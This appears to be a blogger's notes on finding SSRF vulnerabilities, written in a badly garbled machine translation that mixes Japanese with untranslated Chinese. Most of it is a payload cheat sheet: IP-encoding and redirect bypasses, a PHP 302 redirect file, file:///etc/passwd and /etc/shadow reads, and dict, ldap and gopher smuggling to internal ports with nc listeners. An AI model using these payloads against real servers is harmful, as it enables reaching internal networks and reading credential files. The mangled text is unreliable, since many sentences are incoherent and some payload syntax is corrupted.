最近、私は、脆弱性の発見技術SSRFたくさん読んで、彼のスキルや鉱業SSRF抜け穴の前の経験を、簡単な要約の一部:
前自身の要約:
SSRF =サーバー側のリクエストフォージェリ攻撃のURLリンクベースのサーバー - >ローミングネットワーク/イントラネットサービス検出/オープンポートのネットワーク検出/ getshell / XSS / XXE
http://test.com/proxy?url=サーバアドレス- >サーバーの送信元IPアドレスがローカルIPアドレスではありません、それはSSRF存在持っていることを八十パーセントの確率
外部アクセスアドレスを、IPアドレス非ネイティブ
192.168.0.0 - 192.168.255.255
172.16.0.1 - 172.31.255.255
10.0.0.0 - 10.255.255.255
信頼できるドメイン
http://baidu.com - >
192.168.0.0 - 192.168.255.255
172.16.0.1 - 172.31.255.255
10.0.0.0 - 10.255.255.255
http://baidu.com/proxy?url=http://サーバーのIP
当社のサーバーを開く:
ポート番号-lvvp NC:
1.リクエストはあります- >リクエストが外に開始するかどうかを判断するために
2元IP - >要求がサーバーから開始されているかどうかを判断します
SSRFはしますか?
情報は、情報をローミングイントラネット/ネットワークを検出しますか?
http://baidu.com/proxy?url=http://127.0.0.1 // Hello Worldのテスト環境
ネットワーク内の外部ネットワークへのアクセス
SSRF大半は、URLパラメータに存在しています。
存在する可能性があるリンク/印刷テキストのURLジャンプ/シェアエンドはSSRF攻撃
urlは、xurlは、loginUrlは、urlxxxは、 xxxurlは、xxx_urlはSSRF攻撃を試してみてください
* XXXの代わりに、
SSRFバイパス
127.0.0.1 - > 127.0.1.1.xip.io
127.0.0.1 - >整数IP->のhttp:// 2130706433
進。オクタル・IP
参照します。https://www.silisoftware.com/tools/ipconverter.php convert_from = 127.0.0.1?
実用的な記事SSRF脆弱性が参照:
https://shuimugan.com/?BugSearch%5Bbug_no%5D=&BugSearch% 5Btitle%の5D = SSRF&BugSearch% 5Bvendor%5D =&BugSearch%5Bauthor%5D =&BugSearch%5Bbug_type%5D =&BugSearch%5Bbug_level_by_whitehat%5D =&BugSearch%5Bbug_level_by_vendor%5D =&BugSearch%5Brank_by_whitehat%5D =&BugSearch%5Bbug_date%5D =
ショートURLバイパス
http://127.0.0.1
短いURLを
https://www.ft12.com/
https://tb.am/
暗号化されたIPセカンダリ短いURLが生成されます。
その他のバイパス:
HTTP:// [::] /
http:// [::]:22 /
http:// [::]:25 /
302を使用してバイパスにジャンプします:
302.php
<?PHPのヘッダ( "場所:"。$ _GET [ 'U'])。?>
http:?//***.com/302.php U =のhttp:// [::] /
または他のネットワークアドレス
信頼された名前について:
テストサイトはhttp://test.comであれば、検証* .test.comどのようにそのことについて?
これは、ことができます。
hostsファイルを設定します
ネットワークIP * .test.com
そして、直接http://test.com/proxy?url=*.test.comで - >自動アクセスネットワークアドレス内で解決します
302ジャンプの話:
検証のために名前を信頼するだけでなく、どのように再生するには?
駅のURL URLジャンプジャンプ* .test.com存在
URLをジャンプします。http://*.test.com/xxx.php URL =ネットワークIP?
ssrf利用:
http://test.com/proxy?url=http://*.test.com/xxx.php?url=ネットワークのIP(URLジャンプ)
しかし、また、どのように再生するには?
あなたは、URLにそれをジャンプしない場合は?
古い方法
hostsファイルを設定します
ネットワークIP * .test.com
http://test.com/proxy?url=http://*.test.com/302.php?url=ネットワークのIP(URLジャンプ)
どのような信頼された名前をバイパスする方法はありますか?
http://test.com/proxy?url=http://test.com@ネットワークのIP
何をバイパス?HTTP / HTTPS要求が無効になっていること
また、次の契約を試すことができます。
次のように:
file:///
dict://
sftp://
ldap://
tftp://
gopher://
file是文件传输,所以常说ssrf到文件读取:
ファイル:///
ファイルは、ファイルシステムからファイルを取得するために使用されます
windows:
http://test.com/proxy?url=file:///C:/Windows/win.ini
linux:http://test.com/proxy?url=file:///etc/passwd
可能etc/passwd被过滤,可以尝试读取别的目录如/etc/shadow /etc/hosts可以读usr或者tmp目录等 可以看看linux系统目录结构
dict:// -
DICT URL方案用于表示使用DICT协议可用的定义或单词列表:
客户端:发起请求:http://test.com/proxy?url=dict://服务器地址:1337
服务器:nc -lvp 1337
查看是否有返回请求
SFTP://
SSHのファイル転送プロトコル、またはセキュアファイル転送プロトコルの代わりにSFTPは、安全な接続上のSSHに似たSSHを含むプロトコルであり、
TFTP:// -
簡易ファイル転送プロトコルは、単純なファイル転送プロトコルのロックステップである、それは、クライアントがリモートホスト上のリモートホストまたはファイルからファイルを取得することができます
同様にして辞書://同じを使用
特別なポイント:
LDAP://またはLDAPS://またはldapi:// -
ライトウェイトディレクトリアクセスプロトコルの代わりにLDAP。これは、IPネットワーク管理およびアプリケーション・アクセス・プロトコルは、ディレクトリ情報サービスを介して配布さです。
http://test.com/proxy?url=ldaps://localhost:1337/%0astats%0aquit
http://test.com/proxy?url=ldap://localhost:1337/%0astats%0aquit
HTTP: //test.com/proxy?url=ldapi://localhost:1337/%0astats%0aquit
1337を横断するラインで直接
ホリネズミ:// -
Gopherのは、分散型文書配信サービスです。これは、異なる場所に存在する情報を検索し、検索し、ユーザーはシームレスに探索することができます。
http://test.com/proxy?url
= Gophar://サーバアドレス/gophar.php
gophar.php内容:
別のサーバー:
<?php
header('Location: gopher://另一台服务器:1337/_Hi%0Assrf%0Atest');
?>
另一台服务器nc -lvp 1337
返回
Hi\nssrf\ntest
其实我们自己在漏洞挖掘中根本没有我们想象的那么复杂化。。。
どのように心配していない通常、非常に個人的なショーを感じて、隠されたポイントSSRF鉱業姿勢のいくつかについてのトーク:
SSRFでのファイルアップロード:
共通の位置:
IMAGEPATH /パスおよび他のパラメータ内のファイルアップロードパケットは、画像のアドレスをカスタマイズすることができます。
試しに変更されます。http://イントラネットIP / favicon.icoを自分のBaiduの上で言っても過言favicon.icoをがあれば成功し、アップロード一括アップロード命令がSSRFを存在することを知っています!
文件上传利用2:
今天看到的案例:
文件上传type一般都是file <input type="file">
如果我们尝试把<input type="file">改成type="url"是不是就和上面的案例一样,批量上传http://内网ip/favicon.ico尝试ssrf是否会有上传成功的图片:
案例:
从上传变成url地址上传:
先写这么多,记录下,方便以后查阅方便。基本上漏洞挖掘,没这么复杂。。